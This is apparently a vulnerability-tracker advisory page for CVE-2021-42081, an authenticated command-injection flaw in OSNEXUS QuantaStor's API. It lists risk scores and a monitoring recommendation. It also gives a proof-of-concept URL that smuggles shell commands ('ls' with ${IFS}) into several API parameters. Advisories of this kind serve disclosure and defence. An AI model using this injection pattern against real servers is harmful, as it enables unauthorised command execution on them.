CVE-2021-42081
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Vexday Risk Score
28Low
SSVC decision (CISA)
Track
No exploitation signal → monitor
CVSS 9.1EPSS 1.0%KEV nãoPoC —Nuclei —Metasploit —Patch —
Lifecycle
10 Jul 2023Published on NVD
Recommendation: Monitor — no exploitation signal at the moment.
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected products
OSNEXUS · QuantaStorWant to know if your infrastructure is exposed to this?
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